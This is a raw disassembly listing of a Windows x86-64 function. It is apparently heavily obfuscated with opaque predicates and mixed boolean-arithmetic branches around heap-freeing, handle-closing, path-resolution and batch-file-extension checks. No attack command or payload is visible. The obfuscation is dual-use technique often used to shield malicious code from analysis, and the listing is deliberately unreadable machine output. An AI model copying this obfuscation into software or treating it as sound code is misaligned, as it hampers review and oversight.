mov ecx, eax
not ecx
and ecx, 0x20447860
and eax, 0x1fbb879f
sub eax, ecx
not eax
and eax, 0x23fdf904
mov rdi, qword [0x1415acb98]
cmp eax, 0xe0315379
ja 0x14017a590
mov rbx, qword [sym.imp.KERNEL32.dll_HeapFree]
nop
mov eax, dword [0x1415a0050]
mov ecx, dword [0x1415a0054]
not eax
not ecx
mov edx, eax
or edx, ecx
not edx
and ecx, eax
or ecx, edx
not ecx
imul rax, rcx, 0x73101ef1
shr rax, 0x3d
not eax
and eax, 0xad2f013f
mov ebp, eax
xor ebp, 0xccea4b77
or eax, 0x1010b000
and eax, 0x9818b026
mov ecx, ebp
and ecx, 0x20c10809
imul ecx, eax
mov eax, ebp
and eax, 0x41044242
or ebp, 0xd91cf266
imul ebp, eax
add ebp, ecx
mov rcx, rdi
xor edx, edx
mov r8, rsi
call rbx
cmp ebp, 0xc9d5d0d1
ja 0x14017a5e0
nop
mov eax, dword [0x1415a0058]
mov ecx, dword [0x1415a005c]
mov edx, ecx
not edx
and edx, eax
xor ecx, eax
add ecx, eax
sub ecx, edx
mov eax, ecx
not eax
or eax, 0xd7ef7af6
or ecx, 0xee3afdbd
and ecx, eax
add ecx, 0xeeebaef4
cmp ecx, 0xf28d5103
ja 0x14017a650
mov r9, qword [rsp + 0x150]
cmp r9, r15
jne 0x14017a6cc
mov r15d, 0xffffffff
nop word [rax + rax]
mov eax, dword [0x1415a0074]
xor eax, dword [0x1415a0070]
mov ecx, eax
and ecx, 0xb885ac4d
or eax, 0xb885ac4d
add eax, ecx
and eax, 0x80115620
cmp eax, 0x7b69b5b1
ja 0x14017a6a0
jmp 0x140180db0
mov eax, 0xba62cbaf
nop word cs:[rax + rax]
mov ecx, dword [0x1415a0060]
sub ecx, dword [0x1415a0064]
add ecx, 0x39572fbc
imul rcx, rax
shr rcx, 0x3e
mov edx, ecx
not edx
mov r8d, ecx
and r8d, 0xfffffffe
and edx, 0xe9b25c8d
imul edx, r8d
mov r8d, ecx
and r8d, 1
or ecx, 0xe9b25c8d
imul ecx, r8d
add ecx, edx
cmp ecx, 0x265dee6
je 0x14017a6e0
mov rdi, qword [rsp + 0x158]
mov r15, qword [rsp + 0x160]
nop word [rax + rax]
mov ecx, dword [0x1415a0068]
mov eax, dword [0x1415a006c]
mov edx, ecx
not edx
and ecx, eax
not eax
and eax, edx
not ecx
not eax
and eax, ecx
mov ecx, eax
not ecx
and ecx, 0x564cb7cb
mov edx, eax
and edx, 0xa9b34834
imul edx, ecx
mov ecx, eax
and ecx, 0x564cb7cb
or eax, 0x564cb7cb
imul eax, ecx
add eax, edx
add eax, 0x3d3d0570
or eax, 0x764f4faf
cmp eax, 0x8422f7a0
je 0x14017a740
mov qword [rsp + 0x90], r9
jmp 0x14017af25
test r15, r15
je 0x14017a80e
mov rdi, qword [0x1415acb98]
nop dword [rax]
mov ebx, dword [0x14159fe00]
sub ebx, dword [0x14159fe04]
mov eax, ebx
not eax
or eax, 0xb77a64fb
or ebx, 0x48859b04
and ebx, eax
mov eax, ebx
not eax
and eax, 0xefe36969
mov ecx, ebx
and ecx, 0x101c9696
imul ecx, eax
mov eax, ebx
and eax, 0xefe36969
or ebx, 0xefe36969
imul ebx, eax
add ebx, ecx
xor ebx, 0x2c7b41ee
mov rcx, rdi
xor edx, edx
mov r8, rsi
call fcn.14020ae70
cmp ebx, 0x5a048fad
ja 0x14017a7b0
mov eax, 0xc73e60eb
nop word cs:[rax + rax]
mov ecx, dword [0x14159fe08]
sub ecx, dword [0x14159fe0c]
imul rcx, rax
shr rcx, 0x3d
imul ecx, ecx, 0x99828b48
mov edx, ecx
not edx
mov r8d, ecx
and r8d, 0x9914c3d0
and edx, 0x66eb3c2d
imul edx, r8d
mov r8d, ecx
and r8d, 0x66eb3c28
or ecx, 0x66eb3c2d
imul ecx, r8d
add ecx, edx
cmp ecx, 0xd4f695e
jb 0x14017a820
mov rax, qword [rsp + 0x1b0]
mov rdi, qword [rsp + 0x1b8]
cmp rax, r14
jne 0x14017af15
mov rax, qword [rsp + 0x118]
mov rcx, qword [rsp + 0x78]
mov qword [rcx], rdi
mov qword [rcx + 0x10], 2
cmp byte [rsp + 0x76], 0
jne 0x14017aea2
nop dword [rax]
mov eax, dword [0x1415a1198]
mov ecx, dword [0x1415a119c]
mov edx, eax
not edx
and edx, ecx
not ecx
and ecx, eax
sub ecx, edx
imul eax, ecx, 0xe12db5fa
add eax, 0x31ec67ed
mov ecx, eax
not ecx
and ecx, 0x73fc9c7a
and eax, 0x8c036384
sub eax, ecx
cmp eax, 0xe805df01
jb 0x14017a8b0
mov r9, qword [rsp + 0x200]
mov r8, qword [rsp + 0x1a8]
nop dword [rax + rax]
mov eax, dword [0x1415a11a0]
xor edx, edx
div dword [0x1415a11a4]
or eax, 0xc1c284e0
add eax, 0xdebfebd9
or eax, 0x1e923198
cmp eax, 0x8d73e3e5
jb 0x14017a900
test r8, r8
je 0x14017a9c6
mov eax, dword [0x1415a11a8]
mov ecx, dword [0x1415a11ac]
mov edx, ecx
and edx, eax
add eax, ecx
sub eax, edx
add eax, 0x95c78a6a
xor eax, 0xc4467bc0
add eax, 0x7955762b
cmp eax, 0x9d4aab4a
mov rax, qword [rsp + 0x1a0]
jbe 0x14017a987
mov qword [rsp + 0x218], 0
mov qword [rsp + 0x220], r8
mov qword [rsp + 0x228], rax
mov qword [rsp + 0x238], 0
mov qword [rsp + 0x218], 0
mov qword [rsp + 0x220], r8
mov qword [rsp + 0x228], rax
mov qword [rsp + 0x238], 0
mov qword [rsp + 0x240], r8
mov qword [rsp + 0x248], rax
mov eax, 1
jmp 0x14017a9e8
xor eax, eax
xor r9d, r9d
jmp 0x14017a9e8
mov qword [rsp + 0x210], rax
mov qword [rsp + 0x230], rax
mov qword [rsp + 0x250], r9
mov ecx, dword [0x1415a11b0]
and ecx, dword [0x1415a11b4]
mov edx, ecx
not edx
mov r8d, ecx
and r8d, 0x2d3fa6da
and edx, 0xd2c05925
imul edx, r8d
mov r8d, ecx
and r8d, 0xd2c05925
or ecx, 0xd2c05925
imul ecx, r8d
add ecx, edx
imul rcx, rcx, 0x6fe36d17
shr rcx, 0x3e
imul ecx, ecx, 0x209815ea
mov qword [rsp + 0x210], rax
mov qword [rsp + 0x230], rax
mov qword [rsp + 0x250], r9
cmp ecx, 0x647611a2
ja 0x14017a9d0
lea r12, [rsp + 0xa0]
lea r13, [rsp + 0x210]
mov r15d, 0x97a22c35
nop dword [rax]
mov eax, dword [0x1415a11b8]
imul eax, dword [0x1415a11bc]
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x4b7c669c
mov r8d, edx
and r8d, 0xd8ab470e
and ecx, 0x24009861
imul ecx, r8d
and edx, 0x2754b8f1
or eax, 0x6f7cfefd
imul eax, edx
add eax, ecx
mov ecx, eax
and ecx, 0x5f17cb02
add ecx, ecx
sub eax, ecx
cmp eax, 0xd8e1f23
jne 0x14017aacb
mov rcx, r12
mov rdx, r13
call fcn.14020d160
mov rcx, r12
mov rdx, r13
call fcn.140193440
nop word cs:[rax + rax]
mov eax, dword [0x1415a11c0]
xor edx, edx
div dword [0x1415a11c4]
mov ecx, eax
not ecx
or ecx, 0x125221bf
or eax, 0x2dadde40
and eax, ecx
add eax, 0xdb3ccffc
not eax
or eax, 0xc6e621bf
cmp eax, 0xd8e9042
jb 0x14017aae0
mov rbp, qword [rsp + 0xa0]
test rbp, rbp
je 0x14017ae50
nop word cs:[rax + rax]
mov eax, dword [0x1415a11c8]
xor eax, dword [0x1415a11cc]
add eax, 0x15099668
imul rax, rax, 0x41cfde1
shr rax, 0x3a
or eax, 0x9ce7f3be
cmp eax, 0x23d5f27f
jb 0x14017ab30
mov rsi, qword [rsp + 0xb0]
imul rax, rsi, 0x38
lea rdi, [rax + rbp]
add rdi, 0x168
nop
mov eax, dword [0x1415a11d0]
xor edx, edx
div dword [0x1415a11d4]
mov ecx, eax
and ecx, 0x594e2006
mov edx, ecx
not edx
mov r8d, eax
and r8d, 0x50000006
and edx, 0x8beee3b0
imul edx, r8d
and eax, 0x94e2000
or ecx, 0x8beee3b0
imul ecx, eax
add ecx, edx
xor ecx, 0x88710c4c
cmp ecx, 0x946cd259
ja 0x14017ab70
cmp qword [rdi], 0
je 0x14017abe0
mov r8, qword [rdi + 8]
mov rcx, qword [0x1415acb98]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop word cs:[rax + rax]
mov eax, dword [0x1415a11d8]
xor edx, edx
div dword [0x1415a11dc]
mov ecx, eax
and ecx, 0xbec9fca1
mov edx, ecx
not edx
and edx, 0x744c7279
mov r8d, eax
and r8d, 0x8a818c80
imul r8d, edx
and eax, 0x34487021
or ecx, 0x744c7279
imul ecx, eax
lea eax, [rcx + r8]
add eax, 0x48a87aa7
cmp eax, 0xedf17f80
ja 0x14017abe0
mov rax, qword [rdi + 0x20]
mov ecx, dword [0x1415a11e0]
mov edx, ecx
not edx
or edx, dword [0x1415a11e4]
add edx, ecx
cmp edx, 0xcec56cd0
je 0x14017ac30
test rax, rax
je 0x14017ad37
mov eax, dword [0x1415a11e8]
mov ecx, dword [0x1415a11ec]
mov edx, ecx
not edx
mov r8d, eax
and r8d, edx
or edx, eax
not edx
imul edx, r8d
mov r8d, eax
and r8d, ecx
or eax, ecx
imul eax, r8d
add eax, edx
xor eax, 0x88143002
and eax, 0xaa373a6b
imul eax, eax, 0x11b102af
cmp eax, 0x184785a3
mov edx, 0x92854633
jb 0x14017acd6
nop dword [rax + rax]
mov eax, dword [0x1415a11f0]
and eax, dword [0x1415a11f4]
mov ecx, eax
xor ecx, 0x5494f4fa
and ecx, eax
imul rcx, rdx
shr rcx, 0x3e
imul eax, ecx, 0xf548c4e
mov rbx, qword [rdi + 0x28]
mov r14, qword [0x1415acb98]
cmp eax, 0xf267e30a
jbe 0x14017ace0
mov rax, qword [0x1415acb98]
jmp 0x14017aca0
mov eax, dword [0x1415a11f8]
or eax, dword [0x1415a11fc]
add eax, 0xfbf0892e
mov ecx, eax
not ecx
or eax, 0x515ad59f
or ecx, 0xaea52a60
and ecx, eax
mov eax, ecx
not eax
xor ecx, 0x203f1cb3
and eax, 0x203f1cb3
add eax, eax
sub eax, ecx
cmp eax, 0x1f5d3284
jae 0x14017ad2a
mov rcx, r14
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, r14
xor edx, edx
mov r8, rbx
call fcn.14020ae70
shl rsi, 5
lea rax, [rsi + rbp]
mov rcx, qword [rbp + rsi]
nop word cs:[rax + rax]
mov edx, dword [str.j_CdWe]
mov r8d, dword [0x1415a1204]
not edx
not r8d
and r8d, edx
xor r8d, 0x53cbbaa1
add r8d, 0x7f1b2bdd
xor r8d, 0xda15aee
cmp r8d, 0xda72957d
ja 0x14017ad50
test rcx, rcx
je 0x14017ada0
mov r8, qword [rax + 8]
mov rcx, qword [0x1415acb98]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop dword [rax + rax]
mov eax, dword [0x1415a1208]
mov ecx, dword [0x1415a120c]
mov edx, eax
not edx
and eax, ecx
not ecx
or ecx, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
or eax, 0x404284d0
or ecx, 0x5151480
and ecx, eax
and ecx, 0x455794d0
cmp ecx, 0xca7dcdfd
ja 0x14017ada0
nop dword [rax]
mov ecx, dword [0x1415a1210]
mov edx, dword [0x1415a1214]
mov eax, ecx
not eax
mov r8d, edx
not r8d
mov r9d, eax
and r9d, 0xeaf6ef69
and ecx, 0x15091096
or ecx, r9d
or eax, r8d
and r8d, 0xeaf6ef69
and edx, 0x15091096
or edx, r8d
xor edx, ecx
not eax
or eax, edx
imul rax, r15
shr rax, 0x3d
or eax, 0x61e0d144
mov ecx, eax
and ecx, 0x40601047
add ecx, ecx
sub eax, ecx
cmp eax, 0x11f83aa2
je 0x14017ade0
jmp 0x14017aa70
mov eax, dword [0x1415a1218]
mov ecx, dword [0x1415a121c]
mov edx, eax
and edx, ecx
xor eax, ecx
lea eax, [rax + rdx*2]
imul eax, eax, 0x6c546d4c
mov ecx, eax
or ecx, 0xc7e87418
not eax
and eax, 0x10048145
mov edx, ecx
and edx, 0x2a531aa0
or edx, eax
xor edx, 0x58b282fc
and ecx, 0x8d1e67a0
or ecx, edx
cmp ecx, 0x4b17de33
jb 0x14017ae50
mov rax, qword [rsp + 0x118]
cmp dword [rax], 4
jb 0x14017aec0
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop word cs:[rax + rax]
mov eax, dword [0x1415a10d8]
add eax, dword [0x1415a10dc]
mov ecx, eax
not ecx
or ecx, 0x3d6b002f
add eax, ecx
inc eax
mov ecx, eax
xor ecx, 0x4904a022
xor eax, 0x6906a862
and ecx, 0x5b75a4b7
add ecx, ecx
sub ecx, eax
cmp ecx, 0xeb6cb306
ja 0x14017aec0
movaps xmm6, xmmword [rsp + 0x610]
add rsp, 0x628
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x90], rax
mov r15, qword [rsp + 0x1c0]
cmp r15, 4
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x80], r15
jb 0x14017afcb
movabs rcx, 0x5c003f003f005c
lea rax, [rcx + 0x1d0000]
cmp rax, qword [rdi]
je 0x14017b390
xor eax, eax
cmp rcx, qword [rdi]
setne al
nop
mov ecx, dword [0x1415a0508]
and ecx, dword [0x1415a050c]
mov edx, ecx
not edx
or ecx, 0x82845b
and edx, 0x40200
and ecx, 0x888a9c5b
sub ecx, edx
cmp ecx, 0xb0e2ece6
ja 0x14017af60
nop dword [rax]
mov ecx, dword [0x1415a0510]
mov edx, dword [0x1415a0514]
not ecx
not edx
and edx, ecx
not edx
imul rcx, rdx, 0x47066c53
shr rcx, 0x3e
or ecx, 0xf1373cd8
xor ecx, 0xe842e3ae
cmp ecx, 0xc1c2bc1e
ja 0x14017af90
test eax, eax
je 0x14017b390
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 2
mov qword [rsp + 0xb0], 0
mov r13d, 0x200
mov eax, 2
mov qword [rsp + 0x60], rax
xor esi, esi
mov r15d, 0xa816c06b
xor ebp, ebp
xor r12d, r12d
nop dword [rax]
mov eax, dword [0x1415a0518]
or eax, dword [0x1415a051c]
imul eax, eax, 0xa7161eb3
add eax, 0x46b4ac16
cmp eax, 0x41418307
jb 0x14017b010
mov r14d, 0x200
cmp r13, 0x201
jae 0x14017b047
lea rbx, [rsp + 0x210]
jmp 0x14017b0b5
sub r13, r12
nop word [rax + rax]
mov eax, dword [0x1415a0520]
xor eax, dword [0x1415a0524]
mov ecx, eax
xor ecx, 0x4ba7c855
add ecx, eax
and eax, 0xb45837aa
sub ecx, eax
add ecx, 0xe22c18f8
xor ecx, 0x18db1ab3
cmp ecx, 0xf703c7d2
ja 0x14017b050
sub rbp, r12
cmp r13, rbp
ja 0x14017b283
mov eax, 0xffffffff
cmp rsi, rax
mov r12d, 0xffffffff
cmovb r12, rsi
mov qword [rsp + 0xb0], r12
mov rbp, rsi
mov r14, r12
mov rbx, qword [rsp + 0x60]
mov r13, r12
mov eax, dword [0x1415a0528]
add eax, dword [0x1415a052c]
imul rax, r15
shr rax, 0x3e
xor eax, 0x5074430b
add eax, 0xa3ea3ede
cmp eax, 0x434d3aa5
jae 0x14017b0f3
xor ecx, ecx
call fcn.14020bc80
mov rcx, rdi
mov edx, r13d
mov r8, rbx
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
xor ecx, ecx
call fcn.14020bc80
mov rcx, rdi
mov edx, r13d
mov r8, rbx
xor r9d, r9d
call fcn.14020ce10
mov edi, eax
test eax, eax
jne 0x14017b174
call sub.KERNEL32.dll_GetLastError
nop word cs:[rax + rax]
mov ecx, dword [0x1415a0530]
add ecx, dword [0x1415a0534]
mov edx, ecx
not edx
and edx, 0x59dcab99
mov r8d, ecx
and r8d, 0x26235466
imul r8d, edx
mov edx, ecx
and edx, 0x59dcab99
or ecx, 0x59dcab99
imul ecx, edx
add ecx, r8d
xor ecx, 0x350df088
or ecx, 0x88f20371
cmp ecx, 0x75c9bc88
jb 0x14017b120
test eax, eax
jne 0x14017b508
mov ecx, edi
cmp r13, rcx
jne 0x14017b1b0
mov eax, dword [0x1415a0550]
xor eax, dword [0x1415a0554]
imul rax, rax, 0x4d1ca8e9
shr rax, 0x3e
imul eax, eax, 0xe239358f
xor eax, 0x5aa30805
cmp eax, 0x443647d
jb 0x14017b336
jmp 0x14017b2b0
mov eax, dword [0x1415a0560]
xor eax, dword [0x1415a0564]
mov edx, eax
xor edx, 0xc61b97f4
xor eax, 0x29044000
and eax, 0x2d07c3e4
mov r8d, edx
and r8d, 0xd2f83c1b
imul r8d, eax
mov eax, edx
and eax, 0x2d07c3e4
or edx, 0x2d07c3e4
imul edx, eax
lea eax, [rdx + r8]
add eax, 0xfc266bb4
cmp eax, 0x5b8d93ad
ja 0x14017b1b0
nop dword [rax]
mov eax, dword [0x1415a0568]
or eax, dword [0x1415a056c]
mov edx, eax
not edx
mov r8d, eax
and r8d, 0xca151800
and edx, 0x35eae7ff
imul edx, r8d
mov r8d, eax
and r8d, 0x35eae7ff
or eax, 0x35eae7ff
imul eax, r8d
add eax, edx
mov edx, eax
not edx
mov r8d, eax
and r8d, 0xaaa4c48
and edx, 0x3555b3b7
imul edx, r8d
mov r8d, eax
and r8d, 0x3555b3b7
or eax, 0x3555b3b7
imul eax, r8d
add eax, edx
or eax, 0xdc29ca85
cmp eax, 0x8d99a106
jb 0x14017b200
cmp r13, rcx
jae 0x14017b3fe
mov r13, rcx
jmp 0x14017b35e
lea rcx, [rsp + 0xa0]
mov rdx, r12
mov r8, r13
call fcn.140238e30
mov rsi, qword [rsp + 0xa0]
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x60], rax
jmp 0x14017b08d
mov edi, dword [0x1415a0558]
mov eax, dword [0x1415a055c]
mov ecx, edi
not ecx
and ecx, eax
mov edx, eax
not edx
and edx, edi
imul edx, ecx
mov ecx, edi
and ecx, eax
or edi, eax
imul edi, ecx
add edi, edx
mov eax, edi
or eax, 0xa7555021
mov ecx, eax
not ecx
and ecx, 0x9dcba3fb
mov edx, eax
and edx, 0x62345c04
imul edx, ecx
and eax, 0x9dcba3fb
or edi, 0xbfdff3fb
imul edi, eax
add edi, edx
mov eax, edi
not eax
mov ecx, edi
and ecx, 0xa8880600
and eax, 0x5777f9ff
imul eax, ecx
mov ecx, edi
and ecx, 0x5777f9ff
or edi, 0x5777f9ff
imul edi, ecx
add edi, eax
call fcn.14020b260
cmp edi, 0x726b069a
jbe 0x14017b340
call fcn.14020b260
jmp 0x14017b2b0
cmp eax, 0x7a
jne 0x14017b8d6
cmp r13, 0x7fffffff
lea r13, [r13 + r13]
mov eax, 0xffffffff
cmova r13, rax
mov rdi, qword [rsp + 0x68]
nop word cs:[rax + rax]
mov eax, dword [0x1415a0570]
sub eax, dword [0x1415a0574]
cmp eax, 0x8296fb97
je 0x14017b370
jmp 0x14017b010
mov eax, dword [0x1415a05f8]
xor edx, edx
div dword [0x1415a05fc]
mov ecx, eax
not ecx
or ecx, 0x9e75dd40
add eax, ecx
inc eax
xor eax, 0x4f9f4382
cmp eax, 0xb1e03fea
ja 0x14017b390
nop dword [rax + rax]
mov eax, dword [0x1415a0600]
xor eax, dword [0x1415a0604]
add eax, 0xeee773e3
mov ecx, eax
or ecx, 0x20890835
xor ecx, 0x4044fc1b
or eax, 0xbfbb03e4
and eax, ecx
cmp eax, 0x664ef8ee
jb 0x14017b3c0
cmp r15, 5
jae 0x14017b6db
xor ebp, ebp
jmp 0x14017b790
cmp r14, rcx
jb 0x14017d2c6
nop word [rax + rax]
mov eax, dword [0x1415a0580]
mov edx, dword [0x1415a0584]
xor edx, eax
not edx
and edx, eax
add edx, 0x8fb90ddc
imul rax, rdx, 0x15bf6c49
shr rax, 0x20
sub edx, eax
shr edx, 1
add edx, eax
shr edx, 0x1f
add edx, 0x182843cd
cmp edx, 0x6a849ca3
ja 0x14017b410
cmp edi, 4
jb 0x14017babe
add rcx, 0xfffffffffffffffc
nop word [rax + rax]
mov eax, dword [0x1415a0588]
xor eax, dword [0x1415a058c]
add eax, 0xd0dbc619
mov edx, eax
xor edx, 0x87f01bcc
or eax, 0x780fe433
and eax, edx
imul eax, eax, 0x9828b9c3
cmp eax, 0x26a5e14d
jb 0x14017b460
movzx eax, word [rbx + rcx*2]
nop word cs:[rax + rax]
mov edx, dword [0x1415a0590]
xor edx, dword [0x1415a0594]
add edx, 0x5dacbd3d
mov r8d, edx
not r8d
or r8d, 0x40dcbf90
or edx, 0xbf23406f
and edx, r8d
add edx, 0x829f042c
cmp edx, 0x55655f38
jb 0x14017b4a0
cmp ax, 0x2e
jne 0x14017babe
movzx eax, word [rbx + rcx*2 + 2]
cmp ax, 0x62
jge 0x14017b7d9
cmp ax, 0x43
jge 0x14017b910
cmp ax, 0x42
je 0x14017b7df
jmp 0x14017babe
mov eax, dword [0x1415a053c]
add eax, dword [0x1415a0538]
mov ecx, eax
xor ecx, 0x798e683c
and eax, 0x67197c3
add eax, eax
sub eax, ecx
mov ecx, eax
not ecx
or ecx, 0xa512a027
add eax, ecx
inc eax
mov ecx, eax
not ecx
and ecx, 0xc3a52aa6
mov edx, eax
and edx, 0x3c5ad559
imul edx, ecx
mov ecx, eax
and ecx, 0xc3a52aa6
or eax, 0xc3a52aa6
imul eax, ecx
add eax, edx
cmp eax, 0xbd0571a0
jbe 0x14017b570
call sub.KERNEL32.dll_GetLastError
nop word cs:[rax + rax]
mov eax, dword [0x1415a0540]
and eax, dword [0x1415a0544]
mov ecx, eax
and ecx, 0xedad68e6
or eax, 0xedad68e6
add eax, ecx
mov ecx, eax
not ecx
and ecx, 0x9af71339
mov edx, eax
and edx, 0x6508ecc6
imul edx, ecx
mov ecx, eax
and ecx, 0x9af71339
or eax, 0x9af71339
imul eax, ecx
add eax, edx
imul ebx, eax, 0xdabd9400
call fcn.14020b260
cmp ebx, 0x59a46d88
ja 0x14017b570
mov edi, eax
shl rdi, 0x20
test rsi, rsi
je 0x14017b63c
mov eax, dword [0x1415a054c]
add eax, dword [0x1415a0548]
mov ecx, eax
and ecx, 0xa79c7f6f
xor ecx, 0x21842325
lea edx, [rcx + 0x58638090]
xor eax, 0x80185048
and eax, 0xa01c504c
mov r8d, edx
and r8d, 0x1f81af23
imul r8d, eax
and edx, 0xe07e50dc
or ecx, 0xf87fd0dc
imul ecx, edx
add ecx, r8d
cmp ecx, 0xb9c76dc
jae 0x14017b629
mov rax, qword [0x1415acb98]
mov rcx, qword [0x1415acb98]
xor edx, edx
mov r8, qword [rsp + 0x60]
call fcn.14020ae70
or rdi, 2
mov r9, qword [rsp + 0x78]
nop word cs:[rax + rax]
mov eax, dword [0x1415a05d8]
mov ecx, dword [0x1415a05dc]
mov edx, eax
and edx, ecx
add edx, edx
add eax, ecx
sub eax, edx
add eax, 0xd13a2198
mov ecx, eax
not ecx
mov edx, eax
or edx, 0xf59b4267
mov r8d, edx
and r8d, 0xdb927e79
and ecx, 0x648180
imul ecx, r8d
and edx, 0x246d8186
or eax, 0xf5ffc3e7
imul eax, edx
add eax, ecx
mov qword [r9], rdi
cmp eax, 0xba273b8
jae 0x14017b6b0
mov qword [r9], rdi
jmp 0x14017b650
mov eax, dword [0x1415a05e0]
add eax, dword [0x1415a05e4]
imul rax, rax, 0x2521d7a9
shr rax, 0x3d
mov qword [r9 + 0x10], 2
cmp eax, 0xe079bd5
je 0x14017b6b0
jmp 0x14017dbdb
movabs rax, 0x9c17e62657304d46
mov rcx, r15
sub rcx, rax
add rcx, rax
add rcx, 0xfffffffffffffffb
movzx r8d, word [rdi + rcx*2]
nop word [rax + rax]
mov eax, dword [0x1415a0608]
xor edx, edx
div dword [0x1415a060c]
add eax, 0x7832140d
or eax, 0xe1eae319
imul eax, eax, 0x57ce99f4
cmp eax, 0xad9d61db
jb 0x14017b700
cmp r8w, 0x2e
jne 0x14017b788
nop dword [rax]
mov eax, dword [0x1415a0610]
xor edx, edx
div dword [0x1415a0614]
or eax, 0xbfe639fb
mov edx, eax
and edx, 0x1b0046fc
add edx, edx
neg edx
add eax, edx
add eax, 0x1b0046fc
cmp eax, 0x7d5e0464
jb 0x14017b730
movzx r8d, word [rdi + rcx*2 + 2]
cmp r8w, 0x62
jge 0x14017b869
cmp r8w, 0x43
jge 0x14017b92a
cmp r8w, 0x42
je 0x14017b86f
xor ebp, ebp
jmp 0x14017b790
xor ebp, ebp
nop word [rax + rax]
mov eax, dword [0x1415a0648]
sub eax, dword [0x1415a064c]
mov ecx, eax
not ecx
and ecx, 0x23f0ec7d
mov edx, eax
and edx, 0x1c0f1382
imul edx, ecx
mov ecx, eax
and ecx, 0x23f0ec7d
or eax, 0x23f0ec7d
imul eax, ecx
add eax, edx
and eax, 0x39ac2b94
xor eax, 0x6007e61b
cmp eax, 0x50376e24
jbe 0x14017b790
jmp 0x14017bb60
jg 0x14017b91b
mov edx, dword [0x1415a05a0]
xor edx, dword [0x1415a05a4]
mov r8d, edx
not r8d
and r8d, 0x67917467
and edx, 0x986e8b98
sub edx, r8d
imul rdx, rdx, 0x63c69e65
shr rdx, 0x3e
lea r8d, [rdx + rdx]
sub edx, r8d
cmp edx, 0xe9b1e1f0
je 0x14017b7df
mov edx, dword [0x1415a05a8]
imul edx, dword [0x1415a05ac]
mov r8d, edx
xor r8d, 0xeb1db672
and edx, 0x14e2498d
add edx, edx
sub edx, r8d
add edx, 0xe6d3941b
cmp edx, 0xed019964
ja 0x14017b81b
movzx edx, word [rbx + rcx*2 + 4]
cmp dx, 0x61
jge 0x14017b949
cmp dx, 0x41
jne 0x14017ba07
jmp 0x14017b94f
jg 0x14017b937
mov eax, dword [0x1415a062c]
mov edx, eax
xor edx, eax
not edx
and edx, dword [0x1415a0628]
xor edx, eax
mov eax, edx
not eax
mov r9d, edx
and r9d, 0x74ef86f6
and eax, 0x8b107909
imul eax, r9d
mov r9d, edx
and r9d, 0x8b107909
or edx, 0x8b107909
imul edx, r9d
add edx, eax
cmp edx, 0xe9892de9
je 0x14017b86f
movzx eax, word [rdi + rcx*2 + 4]
cmp ax, 0x61
jge 0x14017b9ad
cmp ax, 0x41
jne 0x14017d11f
jmp 0x14017b9b3
ud2
jne 0x14017babe
jmp 0x14017ba42
cmp ax, 0x63
jne 0x14017babe
jmp 0x14017ba42
je 0x14017d1b0
xor ebp, ebp
jmp 0x14017b790
cmp r8w, 0x63
je 0x14017d1b0
xor ebp, ebp
jmp 0x14017b790
jne 0x14017ba07
movzx edx, word [rbx + rcx*2 + 6]
mov r8d, 0x81e7c029
mov r9d, dword [0x1415a05b0]
mov r10d, dword [0x1415a05b4]
mov r11d, r9d
xor r11d, r10d
not r11d
or r9d, r10d
and r9d, r11d
imul r9d, r9d, 0x441f111
imul r9, r8
shr r9, 0x3f
not r9d
and r9d, 0xc11ecc8b
cmp r9d, 0xacdee100
jb 0x14017b95a
mov bpl, 1
cmp dx, 0x74
jge 0x14017ba01
cmp dx, 0x54
jne 0x14017ba07
jmp 0x14017bac0
jne 0x14017d11f
mov eax, 0x8fd6e9f7
mov edx, dword [0x1415a0630]
sub edx, dword [0x1415a0634]
or edx, 0xaf160e24
imul rdx, rax
shr rdx, 0x3f
xor edx, 0x60bd58ad
cmp edx, 0xbbd5372
jb 0x14017b9b8
movzx eax, word [rdi + rcx*2 + 6]
mov bpl, 1
cmp ax, 0x74
jge 0x14017d119
cmp ax, 0x54
je 0x14017b790
jmp 0x14017d11f
je 0x14017bac0
mov edx, dword [0x1415a0598]
add edx, dword [0x1415a059c]
mov r8d, edx
not r8d
or edx, 0xbe3c59c1
or r8d, 0x41c3a63e
and r8d, edx
not r8d
add r8d, 0x11255232
cmp r8d, 0x638865f5
jb 0x14017ba07
cmp ax, 0x43
jne 0x14017babe
xor eax, eax
test al, al
jne 0x14017ba44
movzx eax, word [rbx + rcx*2 + 4]
mov edx, dword [0x1415a05b8]
and edx, dword [0x1415a05bc]
imul edx, edx, 0xdcdbe576
add edx, 0xbbda3880
cmp edx, 0xcf6b1686
ja 0x14017ba4d
cmp ax, 0x6d
jge 0x14017ba77
cmp ax, 0x4d
jne 0x14017babe
mov eax, dword [0x1415a05c0]
xor edx, edx
div dword [0x1415a05c4]
mov edx, eax
and edx, 0x271b334d
add edx, edx
sub eax, edx
imul eax, eax, 0x1b794578
add eax, 0x7f8cd18
or eax, 0xd0a9e0b
movzx edx, word [rbx + rcx*2 + 6]
add edx, 0xffffffbc
test edx, 0xffdf
sete bpl
cmp eax, 0xdeadefee
jb 0x14017ba79
jmp 0x14017bac0
xor ebp, ebp
test rsi, rsi
je 0x14017bb60
nop dword [rax]
mov eax, dword [0x1415a05c8]
or eax, dword [0x1415a05cc]
or eax, 0xfb89c72b
add eax, 0x3e9a221b
mov rdi, qword [0x1415acb98]
cmp eax, 0x33df50ef
jae 0x14017bafd
mov rax, qword [0x1415acb98]
jmp 0x14017bad0
mov eax, dword [0x1415a05d0]
sub eax, dword [0x1415a05d4]
mov ecx, eax
xor ecx, 0x58d0fdcb
and eax, 0x272f0234
add eax, eax
sub eax, ecx
mov ecx, eax
xor ecx, 0xdb2632fa
and ecx, eax
add ecx, 0x49f08759
cmp ecx, 0xc25aba88
jbe 0x14017bb42
mov rcx, rdi
xor edx, edx
mov r8, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rdi
xor edx, edx
mov r8, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_HeapFree]
